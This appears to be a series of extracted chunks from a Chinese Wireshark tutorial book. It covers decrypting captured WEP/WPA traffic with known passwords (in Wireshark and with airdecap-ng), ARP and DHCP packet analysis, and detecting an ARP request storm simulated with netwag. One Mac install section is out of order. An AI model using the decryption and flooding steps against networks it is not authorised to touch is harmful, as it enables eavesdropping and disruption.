    {"text": "未知 7.4 数据解密 为了安全起见，大部分路由器都启用了加密认证方式，所以用户捕获到的数据包也都是加密的。如果想要查看具体的包信息，则必须进行解密。通过前面的介绍可知，路由器通常会使用WEP或WPA/WPA2加密。为了方便用户对数据进行分析，本节将分别介绍WEP和WPA的解密。 提示： 如果要解密数据包，则必须捕获到完整的握手包，否则无法成功解密其数据包。 未知 7.4.1 WEP解密 如果目标AP是使用WEP认证方式加密的话，则捕获到的包就是使用WEP方式加密的。如果用户知道目标AP的密码，就可以解密其数据包。在菜单栏中依次选择“编辑(E)”|“首选项(P)…”命令，打开“首选项”对话框，如图7.17所示。 图7.17 “首选项”对话框 在“首选项”对话框的左侧栏中选择Protocols，并单击三角按钮展开该分支，选择IEEE 802.11协议分支，将显示如图7.18所示的界面。 图7.18 IEEE 802.11协议设置 在该窗口中单击Decryption keys文本框后的Edit…按钮，弹出WEP和WPA解密密钥对话框，如图7.19所示。 在该对话框中包括Key type和Key两列。其中，Key type用来指定密钥类型，即加密的方式；Key用来指定密钥值，即加密密码。从中可以看到，默认没有添加任何解密密钥。此时，单击创建一个新项按钮 ，即可添加其解密密钥，如图7.20所示。 图7.19 WEP和WPA解密密钥对话框 图7.20 添加解密密钥 这里默认添加了一个wep密钥类型，密钥值需要用户自己指定。其中，WEP加密的密钥值格式为密码ASCII值的十六进制值；WPA加密的密钥值格式为“密码:SSID”。用户通过单击密钥类型文本框，即可在下拉列表框中选择其他密钥类型，支持的密钥类型有wep、wpa-pwd和wpa-psk。wep表示WEP认证；wpa-pwd和wpa-psk都为WPA认证。 【实例7-4】 解密WEP加密数据包。其中，本例中AP的ASCII码格式密码为abcde，对应ASCII值的十六进制格式为61:62:63:64:65。具体设置方法如下： （1）使用显示过滤器过滤WEP加密的数据包，结果如图7.21所示。 图7.21 加密数据包 （2）在WEP和WPA解密密钥对话框中单击创建一个新项按钮 ，弹出如图7.22所示的对话框。 （3）这里设置密钥类型为wep，密钥值为61:62:63:64:65，效果如图7.23所示。 图7.22 密码设置对话框 图7.23 添加密码 （4）此时，单击OK按钮，即可成功解密其加密的数据包，如图7.24所示。 图7.24 解密后的数据包 （5）从该窗口显示的结果可以看到，所有的数据包已成功解密。此时，用户可以对客户端传输的数据做进一步分析。 未知 7.4.2 WPA解密 如果目标AP使用的加密方式是WPA，则需要设置界面WPA的解密。下面介绍解密WPA加密数据包的方法。 【实例7-5】 解密使用WPA方式加密数据包。其中，本例中目标AP的名称为Test，密码为daxueba!。具体操作步骤如下： （1）使用显示过滤器过滤加密的数据包，结果如图7.25所示。 图7.25 加密的数据包 （2）从显示的结果可以看到，成功显示了所有加密的数据包。在该窗口的前4个包是握手包，协议格式为EAPOL。其他数据包的格式都为802.11。此时，在WEP和WPA解密密钥对话框中单击创建一个新项按钮 ，将显示如图7.26所示的对话框。 （3）这里设置密钥类型为wpa-pwd，密钥值为daxueba!:Test，结果如图7.27所示。 图7.26 WEP和WPA解密密钥对话框 图7.27 添加的解密密钥 （4）从该对话框中可以看到，成功添加了解密密钥。此时，单击OK按钮，即可以成功解密数据包，如图7.28所示。 （5）从图7.28所示的窗口中可以看到，802.11协议加密的数据包已成功解密了。接下来，用户即可对客户端传输的数据做进一步分析。 图7.28 解密成功 在解密WPA加密数据包时，也可以使用wpa-psk密钥类型，但是这种方式需要用户先手动生成一个PSK值。用户可以到 https://www.wireshark.org/tools/wpa-psk.html 网站生成对应的PSK。在浏览器中访问该网址后，显示如图7.29所示的界面。 图7.29 生成PSK 在Passphrase文本框中输入密码短语，在SSID文本框中输入AP的名称，然后单击Generate PSK按钮，计算结果如图7.30所示。 图7.30 生成的PSK值 从图7.30中可以看到计算出的PSK值。然后在Wireshark中添加进去，结果如图7.31所示。 图7.31 添加的密钥 此时，单击OK按钮，即可成功解密加密的数据包。"},
    {"text": "未知 7.4.3 永久解密 在Wireshark中添加解密密钥后，每次打开包都需要解密数据包。如果用户将解密后的捕获文件在其他主机上打开的话，还需要重新添加解密。这样显然很麻烦。为了方便用户更好地对数据进行分析，本节将介绍使用Airdecap-ng工具对数据包永久解密。 Airdecap-ng是Aircrack-ng工具集中的一个工具，可以用来去除加密信息，使加密的数据包变成普通非加密数据包。另外，使用该工具进行解密时，捕获文件必须是.pcap格式，不能使用Wireshark的默认格式.pcapng。如果用户捕获的文件保存格式为.pcapng的话，将捕获文件另存为.pcap格式即可。下面分别介绍永久解密WEP和WEP加密数据包。 提示： 在Kali Linux中，默认已经安装了Airdecap-ng工具。 1.永久解密WEP加密数据包 使用Airdecap-ng工具永久解密WEP加密数据包的语法格式如下： airdecap-ng -w [password] [pcap file] 其中，-w[password]选项指定AP的密码。 【实例7-6】 使用Airdecap-ng工具永久解密WEP加密数据包。执行命令如下： root@daxueba:~# airdecap-ng -w \"61:62:63:64:65\" wep.pcap Total number of stations seen 6 #所见客户端总数 Total number of packets read 6533 #读取的总包数 Total number of WEP data packets 5300 #WEP数据包数 Total number of WPA data packets 0 #WPA数据包数 Number of plaintext data packets 0 #纯文本数据包数 Number of decrypted WEP packets 5300 #解密的WEP包数 Number of corrupted WEP packets 0 #破坏的WEP包数 Number of decrypted WPA packets 0 #解密的WPA包数 Number of bad TKIP (WPA) packets 0 #坏的TKIP包数 Number of bad CCMP (WPA) packets 0 #坏的CCMP包数 从输出的信息中可以看到，成功解密了5300个WEP加密数据包。其中，解密后的包默认输出到了wep-dec.pcap捕获文件中。此时，使用Wireshark工具查看解密后的捕获文件wep-dec.pcap，结果如图7.32所示。 图7.32 解密后的数据包 从图7.32所示的状态栏中可以看到，该数据包文件中保存了5300个数据包，而且都解密为普通数据包。此时，用户在任何主机上都可以直接打开该捕获文件，对其数据包进行分析。 2.永久解密WPA加密数据包 使用Airdecap-ng工具永久解密WPA加密数据包，语法格式如下： airdecap-ng -e [ESSID] -p [password] [pcap file] 以上语法中的选项及含义如下： ·-e：指定目标AP的ESSID。 ·-p：指定AP的密码。 【实例7-7】 使用Airdecap-ng工具解密捕获文件wpa.pcap中的加密数据包。执行命令如下： root@daxueba:~# airdecap-ng -e Test -p daxueba! wpa.pcap Total number of stations seen 5 #所见客户端总数 Total number of packets read 5127 #读取的总包数 Total number of WEP data packets 0 #WEP数据包数 Total number of WPA data packets 2895 #WPA数据包数 Number of plaintext data packets 0 #纯文本数据包数 Number of decrypted WEP packets 0 #解密的WEP包数 Number of corrupted WEP packets 0 #破坏的WEP包数 Number of decrypted WPA packets 2799 #解密的WPA包 Number of bad TKIP (WPA) packets 0 #坏的TKIP包数 Number of bad CCMP (WPA) packets 0 #坏的CCMP包数 从以上输出信息可以看到，成功解密了2799个加密的WPA数据包。其中，解密后的包默认输出到了wpa-dec.pcap捕获文件中。此时，用户使用Wireshark查看wpa-dec.pcap捕获文件，即可分析所有的数据包，如图7.33所示。 图7.33 解密后的数据包 从图7.33所示窗口的底部状态栏中可以看到，该捕获文件中共有2799个数据包，都已被解密。接下来用户在任何主机上都可以直接打开该捕获文件，对其数据包进行分析。 未知 第8章 网络基础协议数据包分析 网络中的所有数据包都是封装在各种协议中进行传输的。例如，当一台主机接入网络时，会使用DHCP协议获取地址信息。主机之间进行首次通信时，会使用ARP协议进行地址解析，以获取目标主机的MAC地址。用户访问一个Web网站时，需要使用DNS协议获取服务器的IP地址，然后再根据获取的IP地址依次请求网页内容等。ARP、DHCP和DNS协议都是网络运行的基础协议，通过分析这些协议，可以了解计算机的基本运行状态。本章将对网络基础协议数据包进行分析。 未知 8.1 ARP分析 ARP（Address Resolution Protocol，地址解析协议）是根据IP地址获取物理地址的一个TCP/IP协议。在局域网中，当主机之间进行通信时，将会使用ARP协议请求获取目标主机的MAC地址。本节将对ARP协议进行分析。 未知 8.1.1 过滤ARP包 在Wireshark捕获文件中，可以使用显示过滤器arp快速过滤ARP数据包。在显示过滤器中输入显示过滤器arp，即可过滤出所有的ARP包，如图8.1所示。 图8.1 显示过滤ARP包 从分组列表的Protocol列可以看到，所有的包都是ARP协议。由此可以说明，成功显示过滤了ARP包。接下来，用户即可分析ARP会话。 为了方便用户对ARP协议数据包进行更精确的显示过滤，下面将列举一些常用的ARP相关协议的显示过滤器，如表8.1所示。 表8.1 ARP常用显示过滤器表达式及含义"},
    {"text": "图8.2 ARP的工作原理 其中，具体的工作步骤如下： （1）当主机PC1想发送数据给主机PC2时，首先在自己的本地ARP缓存表中检查主机PC2匹配的MAC地址。 （2）如果主机PC1在缓存中没有找到相应的条目，为了询问主机PC2的MAC地址，会把ARP请求帧广播到本地网络上的所有主机。"},
    {"text": "主机PC2确定ARP请求中的IP地址与自己的IP地址匹配，则将主机PC1的地址和MAC地址添加到本地缓存表中，并且主机PC2将包含其自身MAC地址的ARP回复消息直接发送回主机PC1（这个数据帧是单播）。 （4）当主机PC1收到从主机PC2发来的ARP回复消息时，会将主机PC2的IP和MAC地址添加到自己的ARP缓存表中。"},
    {"text": "从243帧的Info列可以看到，主机192.168.1.1请求获取主机192.168.1.3的MAC地址； 从244帧的Info列可以看到，主机192.168.1.3响应了主机192.168.1.1的ARP请求，告知其MAC地址为1c:6f:65:c8:4c:89。"},
    {"text": "其中，ARP请求包（243帧）详细信息如下： Frame 243: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Skyworth_53:e0:35 (70:85:40:53:e0:35), Dst: Giga-Byt_ c8:4c:89 (1c:6f:65:c8:4c:89) #以太网协议 Destination: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89) #目标地址 Source: Skyworth_53:e0:35 (70:85:40:53:e0:35) #源地址 Type: ARP (0x0806) #类型 Padding: 000000000000000000000000000000000000 #追加 Address Resolution Protocol (request) #ARP请求 Hardware type: Ethernet (1) #硬件类型 Protocol type: IPv4 (0x0800) #协议类型 Hardware size: 6 #硬件大小 Protocol size: 4 #协议大小 Opcode: request (1) #操作码 Sender MAC address: Skyworth_53:e0:35 (70:85:40:53:e0:35) #发送者MAC地址 Sender IP address: 192.168.1.1 #发送者IP地址 Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) #目标MAC地址 Target IP address: 192.168.1.3 #目标IP地址 从ARP请求包（243帧）的详细信息中可以看到，主要包括以太网协议层和ARP协议层两部分。 从以太网协议层可以看到，该ARP请求包的源地址为70:85:40:53:e0:35，目标地址为1c:6f:65:c8:4c:89，类型为ARP。"},
    {"text": "在该请求包中，源MAC地址为70:85:40:53:e0:35，源IP地址为192.168.1.1，目标MAC地址为00:00:00_00:00:00（广播包），目标IP地址为192.168.1.3。"},
    {"text": "ARP响应包（244帧）信息如下： Frame 244: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89), Dst: Skyworth_ 53:e0:35 (70:85:40:53:e0:35) #以太网协议 Destination: Skyworth_53:e0:35 (70:85:40:53:e0:35) #目标地址 Source: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89) #源地址 Type: ARP (0x0806) #类型 Address Resolution Protocol (reply) #ARP响应 Hardware type: Ethernet (1) #硬件类型 Protocol type: IPv4 (0x0800) #协议类型 Hardware size: 6 #硬件大小 Protocol size: 4 #协议大小 Opcode: reply (2) #操作码 Sender MAC address: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89) #发送者MAC地址 Sender IP address: 192.168.1.3 #发送者IP地址 Target MAC address: Skyworth_53:e0:35 (70:85:40:53:e0:35) Target IP address: 192.168.1.1 在ARP响应包（244帧）的详细信息中也包括以太网协议层和ARP协议层两部分。 从以太网协议层可以看到，源MAC地址为1c:6f:65:c8:4c:89，目标MAC地址为70:85:40:53:e0:35，类型为ARP；"},
    {"text": "在该响应包中可以看到，源MAC地址为1c:6f:65:c8:4c:89，源IP地址为192.168.1.3； 目标MAC地址为70:85:40:53:e0:35，目标IP地址为192.168.1.1。 由此可以说明，成功获取到了主机192.168.1.3的MAC地址。"},
    {"text": "未知 8.1.3 发现ARP攻击 ARP协议是建立在网络中各个主机互相信任的基础上的。网络中的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检查该报文的真实性就会将其记入本机ARP缓存。因此，攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。如果攻击者向目标主机发送大量ARP请求报文，将导致其主机无法正常响应及崩溃，导致ARP请求风暴攻击。Wireshark可以通过探测ARP请求风暴发现ARP攻击。在菜单栏依次选择“编辑”|“首选项”|“Protocol”|ARP/RARP命令，弹出如图8.4所示的对话框。 图8.4 ARP协议设置 在该对话框中，勾选Detect ARP request storms复选框，可以用来探测ARP请求风暴，进而发现ARP攻击。当用户启用探测ARP请求风暴时，有两个选项可以进行设置，分别是Number of requests to detect during period和Detection period(in ms)。这两个选项含义如下： ·Number of requests to detect during period：在探测期间内发送的ARP请求包数。 ·Detection period(in ms)：探测多长时间内发送的ARP请求包。 默认设置表示探测到100毫秒内发送30个ARP请求包，则属于ARP请求风暴。因为正常情况下，主机是不会频繁地发送ARP请求包。 【实例8-1】 下面通过启用探测ARP请求风暴功能，来发现ARP攻击。这里将使用netwag模拟一个ARP攻击，分析Wireshark的包信息，以找出ARP攻击。在Kali Linux中，默认安装了netwag工具。具体操作步骤如下： （1）启用ARP请求风暴功能。为了便于触发警告功能，设置每100毫秒内捕获1个ARP请求包，则属于ARP请求风暴，如图8.5所示。 图8.5 启用探测ARP请求风暴功能 （2）单击OK按钮，开始捕获数据包。接下来，使用netwag工具模拟ARP攻击，向目标主机发送大量的ARP请求包。启动netwag工具，执行命令如下： root@daxueba:~# netwag 执行以上命令后，即可成功启动netwag工具，并显示该工具支持的所有工具列表，如图8.6所示。 图8.6 netwag工具列表 （3）在列表中选择编号为71、名称为Scan ARP的工具。双击Scan ARP工具打开其设置界面，如图8.7所示。 图8.7 配置ARP扫描工具 （4）在ips:list/range of IP addresses文本框中，输入扫描的范围，并勾选其复选框。在max-ms:max millisecond wait for answers文本框中，指定等待目标响应的最大时间。这里设置为0，并勾选其复选框。然后单击Generate按钮即可生成对应的命令。单击Run it按钮，即可执行该命令（即实施ARP扫描），如图8.8所示。 图8.8 正在实施ARP扫描 （5）看到图8.8所示的信息，则表示正在实施ARP扫描。此时返回到Wireshark捕获包界面，即可看到大量的ARP请求包。在分组详情中可以看到探测到ARP请求风暴的包信息，如图8.9所示。 图8.9 探测到ARP请求风暴 提示： 当分组属于ARP请求风暴时，ARP地址协议层分支将高亮显示。 （6）从分组详情中可以看到，当前分组属于ARP请求风暴（ARP packet storm detected）。其中，该包发送的时间小于100毫秒。另外，用户在“专家信息”对话框中也可以查看存在ARP请求风暴的包。在菜单栏依次选择“分析”|“专家信息”命令，将打开“专家信息”对话框，如图8.10所示。 图8.10 “专家信息”对话框 （7）从该对话框中可以看到，严重级别属于Note，概要信息为ARP packets storm detected(1 packets in<100ms)。从计数列表可以看到，共有127个分组属于ARP请求风暴。 未知 1.3.4 Mac OS系统安装Wireshark Wireshark官网也提供了Mac OS操作系统的安装包。所以，用户可以在该操作系统中安装。但是，目前Wireshark的版本只支持Mac OS系统为10.12或更新的版本。如果用户的系统版本较低，则无法安装Wireshark。 【实例1-2】 在Mac OS系统中安装Wireshark。具体操作步骤如下： （1）双击下载的安装包Wireshark 3.0.3 Intel 64.dmg，将显示如图1.31所示的界面。 （2）该界面显示了安装包中的两个文件。双击Wireshark 3.0.3 Intel 64.pkg文件，开始安装Wireshark，如图1.32所示。 图1.31 Wireshark安装包 图1.32 欢迎对话框 （3）单击“继续”按钮，进入软件许可协议对话框，如图1.33所示。 图1.33 许可协议对话框 （4）单击“继续”按钮，进入接受许可协议条款信息对话框，如图1.34所示。 图1.34 接受许可协议条款对话框 （5）单击“同意”按钮，进入安装位置对话框，如图1.35所示。 图1.35 安装位置对话框 （6）单击“安装”按钮，弹出一个输入密码对话框，如图1.36所示。 图1.36 输入密码对话框 （7）在其中输入用户mac的密码。然后，单击“安装软件”按钮，开始安装Wireshark。安装完成后，将显示安装完成对话框，如图1.37所示。 图1.37 安装成功对话框 （8）可以看到软件已安装成功。单击“关闭”按钮，完成安装。接下来就可以启动该工具了。执行命令如下： macdeMac:~mac$wireshark 成功执行以上命令后，将显示Wireshark的主界面，如图1.38所示。 图1.38 Wireshark主界面 下面用户就可以使用Wireshark捕获数据包了。"},
    {"text": "未知 8.2 DHCP分析 DHCP（Dynamin Host Configuration Protocol，动态主机设置协议）是一个局域网的网络协议。DHCP使用UDP协议工作，常用的端口有两个，分别是67（DHCP server）和68（DHCP client）。该协议DHCP的主要作用是集中管理分配IP地址，使客户端动态地获得IP地址、网关地址、DNS服务器地址等信息，并能够提升地址的使用率。本节将介绍对DHCP协议进行分析。 未知 8.2.1 过滤DHCP包 为了方便用户对DHCP包进行分析，也可以对其进行过滤。在Wireshark 3.0版本之前，用于过滤DHCP包的显示过滤器为bootp。在Wireshark 3.0之后的版本中，用于过滤DHCP包的显示过滤器为dhcp。在显示过滤器文本框中输入dhcp，即可过滤到其DHCP包，如图8.11所示。 图8.11 过滤出的DHCP包 从分组列表的Protocol列可以看到，过滤出的包都是DHCP协议。从Info列可以看到，这4个包的事务ID都相同，为0x47d2d917。由此可以说明，这4个包是同一个DHCP会话。 为了方便用户对DHCP协议数据包进行更精确地显示过滤，下面将列举一些常用的DHCP协议相关显示过滤器，如表8.2所示。 表8.2 DHCP常用显示过滤器表达式"},
    {"text": "图8.12 DHCP协议的工作流程 DHCP协议工作的详细过程如下： （1）DHCP客户端在网络中广播发送DHCP DISCOVER请求报文，用来发现DHCP服务器，以请求IP地址租约。"},
    {"text": "（2）DHCP服务器通过DHCP OFFER报文向DHCP客户端提供IP地址预分配。 （3）DHCP客户端通过DHCP REQUEST报文确认选择第一个DHCP服务器，为它提供IP地址自动分配服务。 （4）被选择的DHCP服务器通过DHCP ACK报文，把在DHCP OFFER报文中包含的IP地址租给对应的DHCP客户端。"},
    {"text": "（1）客户端发送DHCP DISCOVER数据包。 由于现在客户端还没有地址，所以DHCP Discover报文是一个广播报文，所有具有DHCP服务功能的服务器都会收到该报文。 DHCP Discover数据包的详细信息如下： Frame 69: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_7b:0a:87 (00:0c:29:7b:0a:87), Dst: Broadcast (ff:ff:ff:ff:ff:ff) #以太网协议 Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255 #IPv4协议 User Datagram Protocol, Src Port: 68, Dst Port: 67 #UDP协议 Dynamic Host Configuration Protocol (Discover) #DHCP Discover包 Message type: Boot Request (1) #消息类型 Hardware type: Ethernet (0x01) #硬件类型 Hardware address length: 6 #硬件地址长度 Hops: 0 #跳数 Transaction ID: 0x47d2d917 #事务ID Seconds elapsed: 0 #时间流逝秒数 Bootp flags: 0x0000 (Unicast) #标志 Client IP address: 0.0.0.0 #客户端IP地址 Your (client) IP address: 0.0.0.0 #分配给客户端的IP地址 Next server IP address: 0.0.0.0 #服务器IP地址 Relay agent IP address: 0.0.0.0 #中继代理地址 Client MAC address: Vmware_7b:0a:87 (00:0c:29:7b:0a:87) #客户端MAC地址 Client hardware address padding: 00000000000000000000 #客户端硬件MAC填充地址 Server host name not given #服务器的主机名 Boot file name not given #客户端的启动配置文件名 Magic cookie: DHCP #魔术Cookie Option: (53) DHCP Message Type (Discover) #DHCP消息类型 Length: 1 #长度 DHCP: Discover (1) #DHCP Discover报文类型 Option: (61) Client identifier #客户端标识符 Length: 7 #长度 Hardware type: Ethernet (0x01) #硬件类型 Client MAC address: Vmware_7b:0a:87 (00:0c:29:7b:0a:87) #客户端MAC地址 Option: (12) Host Name #主机名 Length: 15 #长度 Host Name: WIN-RKPKQFBLG6C #主机名 Option: (60) Vendor class identifier #厂商类标识符 Length: 8 #长度 Vendor class identifier: MSFT 5.0 #厂商类型标识符 Option: (55) Parameter Request List #参数请求列表 Length: 12 #长度 Parameter Request List Item: (1) Subnet Mask #子网掩码 Parameter Request List Item: (15) Domain Name #域名 Parameter Request List Item: (3) Router #路由地址 Parameter Request List Item: (6) Domain Name Server #域名服务器地址 Parameter Request List Item: (44) NetBIOS over TCP/IP Name Server #NetBIOS服务器地址 Parameter Request List Item: (46) NetBIOS over TCP/IP Node Type #NetBIOS节点类型 Parameter Request List Item: (47) NetBIOS over TCP/IP Scope #NetBIOS范围 Parameter Request List Item: (31) Perform Router Discover #执行路由发现 Parameter Request List Item: (33) Static Route #静态路由 Parameter Request List Item: (121) Classless Static Route #无类静态路由 Parameter Request List Item: (249) Private/Classless Static Route (Microsoft) #私有/无类静态路由 Parameter Request List Item: (43) Vendor-Specific Information #指定厂商信息 Option: (255) End Padding: 000000000000 #填充地址 DHCP报文包括四部分信息，分别是以太网协议、IP协议、UDP协议和DHCP协议。"},
    {"text": "从以太网协议中可以看到，该包的源MAC地址为00:0c:29:7b:0a:87，目标MAC地址为ff:ff:ff:ff:ff:ff（广播地址）。 从IP协议中可以看到，源IP地址为0.0.0.0，目标IP地址为255.255.255.255（广播地址）。 由于目前主机没有IP地址，所以源地址为0.0.0.0。"},
    {"text": "DHCP Offer数据包的详细信息如下： Frame 98: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_e0:ed:49 (00:50:56:e0:ed:49), Dst: Vmware_ 7b:0a:87 (00:0c:29:7b:0a:87) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.254, Dst: 192.168.80.137 #IPv4协议 User Datagram Protocol, Src Port: 67, Dst Port: 68 #UDP协议 Dynamic Host Configuration Protocol (Offer) #DHCP Offer包 Message type: Boot Reply (2) #消息类型 Hardware type: Ethernet (0x01) #硬件类型 Hardware address length: 6 #硬件地址长度 Hops: 0 #跳数 Transaction ID: 0x47d2d917 #事务ID Seconds elapsed: 0 #时间流逝秒数 Bootp flags: 0x0000 (Unicast) #标志 Client IP address: 0.0.0.0 #客户端IP地址 Your (client) IP address: 192.168.80.137 #服务器给客户端提供的IP地址 Next server IP address: 192.168.80.254 #服务器IP地址 Relay agent IP address: 0.0.0.0 #中继代理地址 Client MAC address: Vmware_7b:0a:87 (00:0c:29:7b:0a:87) #客户端MAC地址 Client hardware address padding: 00000000000000000000 #客户端硬件填充地址 Server host name not given #服务器主机名 Boot file name not given #客户端的启动配置文件名 Magic cookie: DHCP #魔术Cookie Option: (53) DHCP Message Type (Offer) #DHCP消息类型 Length: 1 #长度 DHCP: Offer (2) #DHCP Offer报文类型 Option: (54) DHCP Server Identifier (192.168.80.254) #DHCP服务标识符 Length: 4 #长度 DHCP Server Identifier: 192.168.80.254 #DHCP服务器地址 Option: (51) IP Address Lease Time #IP地址租约时间 Length: 4 #长度 IP Address Lease Time: (1800s) 30 minutes #IP地址租约时间 Option: (1) Subnet Mask (255.255.255.0) #子网掩码 Length: 4 #长度 Subnet Mask: 255.255.255.0 #子网掩码 Option: (15) Domain Name #域名 Length: 11 #长度 Domain Name: localdomain #域名 Option: (3) Router #路由 Length: 4 #长度 Router: 192.168.80.2 #路由地址 Option: (6) Domain Name Server #域名服务器 Length: 4 #长度 Domain Name Server: 192.168.80.2 #域名服务器地址 Option: (44) NetBIOS over TCP/IP Name Server #NetBIOS服务器 Length: 4 #长度 NetBIOS over TCP/IP Name Server: 192.168.80.2 #NetBIOS服务器地址 Option: (255) End Padding: 00000000000000 #填充地址 从DHCP Offer包的IP协议中可以看到，源IP地址为192.168.80.254，目标IP地址为192.168.80.137。"},
    {"text": "DHCP Request数据包的详细信息如下： Frame 99: 368 bytes on wire (2944 bits), 368 bytes captured (2944 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_7b:0a:87 (00:0c:29:7b:0a:87), Dst: Broadcast (ff:ff:ff:ff:ff:ff) #以太网协议 Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255 #IPv4协议 User Datagram Protocol, Src Port: 68, Dst Port: 67 #UDP协议 Dynamic Host Configuration Protocol (Request) #DHCP Request包 Message type: Boot Request (1) #消息类型 Hardware type: Ethernet (0x01) #硬件类型 Hardware address length: 6 #硬件地址长度 Hops: 0 #跳数 Transaction ID: 0x47d2d917 #事务ID Seconds elapsed: 0 #时间流逝秒数 Bootp flags: 0x0000 (Unicast) #标志 Client IP address: 0.0.0.0 #客户端IP地址 Your (client) IP address: 0.0.0.0 #分配给客户端的IP地址 Next server IP address: 0.0.0.0 #服务器IP地址 Relay agent IP address: 0.0.0.0 #中继代理地址 Client MAC address: Vmware_7b:0a:87 (00:0c:29:7b:0a:87) #客户端MAC地址 Client hardware address padding: 00000000000000000000 #客户端硬件填充地址 Server host name not given #服务器主机名 Boot file name not given #客户端的启动配置文件 Magic cookie: DHCP #魔术Cookie Option: (53) DHCP Message Type (Request) #DHCP消息类型 Length: 1 #长度 DHCP: Request (3) #DHCP Request报文类型 Option: (61) Client identifier #客户端标识符 Length: 7 #长度 Hardware type: Ethernet (0x01) #硬件类型 Client MAC address: Vmware_7b:0a:87 (00:0c:29:7b:0a:87) #客户端MAC地址 Option: (50) Requested IP Address (192.168.80.137) #请求获取的IP地址 Length: 4 #长度 Requested IP Address: 192.168.80.137 #请求的IP地址 Option: (54) DHCP Server Identifier (192.168.80.254) #DHCP服务器标识符 Length: 4 #长度 DHCP Server Identifier: 192.168.80.254 #DHCP服务地址 Option: (12) Host Name #主机名 Length: 15 #长度 Host Name: WIN-RKPKQFBLG6C #主机名 Option: (81) Client Fully Qualified Domain Name #客户端完全合格域名 Length: 18 #长度 Flags: 0x00 #标志 A-RR result: 0 PTR-RR result: 0 Client name: WIN-RKPKQFBLG6C #客户端名称 Option: (60) Vendor class identifier #厂商类标识符 Length: 8 #长度 Vendor class identifier: MSFT 5.0 #厂商类标识符 Option: (55) Parameter Request List #参数请求列表 Length: 12 #长度 Parameter Request List Item: (1) Subnet Mask #子网掩码 Parameter Request List Item: (15) Domain Name #域名 Parameter Request List Item: (3) Router #路由 Parameter Request List Item: (6) Domain Name Server #域名服务器 Parameter Request List Item: (44) NetBIOS over TCP/IP Name Server #NetBIOS服务器 Parameter Request List Item: (46) NetBIOS over TCP/IP Node Type #NetBIOS节点类型 Parameter Request List Item: (47) NetBIOS over TCP/IP Scope #NetBIOS范围 Parameter Request List Item: (31) Perform Router Discover #执行路由发现 Parameter Request List Item: (33) Static Route #静态路由 Parameter Request List Item: (121) Classless Static Route #无类路由 Parameter Request List Item: (249) Private/Classless Static Route (Microsoft) #私有/无类静态路由 Parameter Request List Item: (43) Vendor-Specific Information #厂商特定信息 Option: (255) End 从以太网协议部分可以看到，目标MAC地址为ff:ff:ff:ff:ff:ff（广播地址）。"},
    {"text": "（4）DHCP服务器用DHCP ACK响应DHCP Request包，以此完成初始化周期。 当服务器收到DHCP Request确认数据包之后，也会响应客户机，即发送DHCP ACK报文，确认客户端申请IP地址成功。"},
    {"text": "DHCP ACK数据包详细信息如下： Frame 100: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Vmware_e0:ed:49 (00:50:56:e0:ed:49), Dst: Vmware_ 7b:0a:87 (00:0c:29:7b:0a:87) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.254, Dst: 192.168.80.137 #IPv4协议 User Datagram Protocol, Src Port: 67, Dst Port: 68 #UDP协议 Dynamic Host Configuration Protocol (ACK) #DHCP ACK包 Message type: Boot Reply (2) #消息类型 Hardware type: Ethernet (0x01) #硬件类型 Hardware address length: 6 #硬件地址长度 Hops: 0 #跳数 Transaction ID: 0x47d2d917 #事务ID Seconds elapsed: 0 #时间流逝秒数 Bootp flags: 0x0000 (Unicast) #标志 Client IP address: 0.0.0.0 #客户端IP地址 Your (client) IP address: 192.168.80.137 #分配给客户端的IP地址 Next server IP address: 192.168.80.254 #服务器IP地址 Relay agent IP address: 0.0.0.0 #中继代理IP地址 Client MAC address: Vmware_7b:0a:87 (00:0c:29:7b:0a:87)#客户端MAC地址 Client hardware address padding: 00000000000000000000 #客户端硬件填充地址 Server host name not given #服务器主机名 Boot file name not given #客户端的启动配置文件 Magic cookie: DHCP #魔术Cookie Option: (53) DHCP Message Type (ACK) #DHCP消息类型 Length: 1 #长度 DHCP: ACK (5) #DHCP ACK报文类型 Option: (54) DHCP Server Identifier (192.168.80.254) #DHCP服务标识符 Length: 4 #长度 DHCP Server Identifier: 192.168.80.254 #DHCP服务器地址 Option: (51) IP Address Lease Time #IP地址租约时间 Length: 4 #长度 IP Address Lease Time: (1800s) 30 minutes #租约时间 Option: (1) Subnet Mask (255.255.255.0) #子网掩码 Length: 4 #长度 Subnet Mask: 255.255.255.0 #子网掩码 Option: (15) Domain Name #域名 Length: 11 #长度 Domain Name: localdomain #域名 Option: (3) Router #路由 Length: 4 #长度 Router: 192.168.80.2 #路由地址 Option: (6) Domain Name Server #域名服务 Length: 4 #长度 Domain Name Server: 192.168.80.2 #域名服务器地址 Option: (44) NetBIOS over TCP/IP Name Server #NetBIOS服务 Length: 4 #长度 NetBIOS over TCP/IP Name Server: 192.168.80.2 #NetBIOS服务器地址 Option: (255) End Padding: 00000000000000 #填充地址 从IPv4协议层可以看到，当前报文的源地址为192.168.80.254，目标IP地址为192.168.80.137。 从DHCP协议层可以看到，该报文消息类型为DHCP ACK，客户端获取到的IP地址为192.168.80.137，服务器地址为192.168.80.254，租约时间为30分钟，子网掩码为255.255.255.0，域名为localdomain、路由地址为192.168.80.2。"},
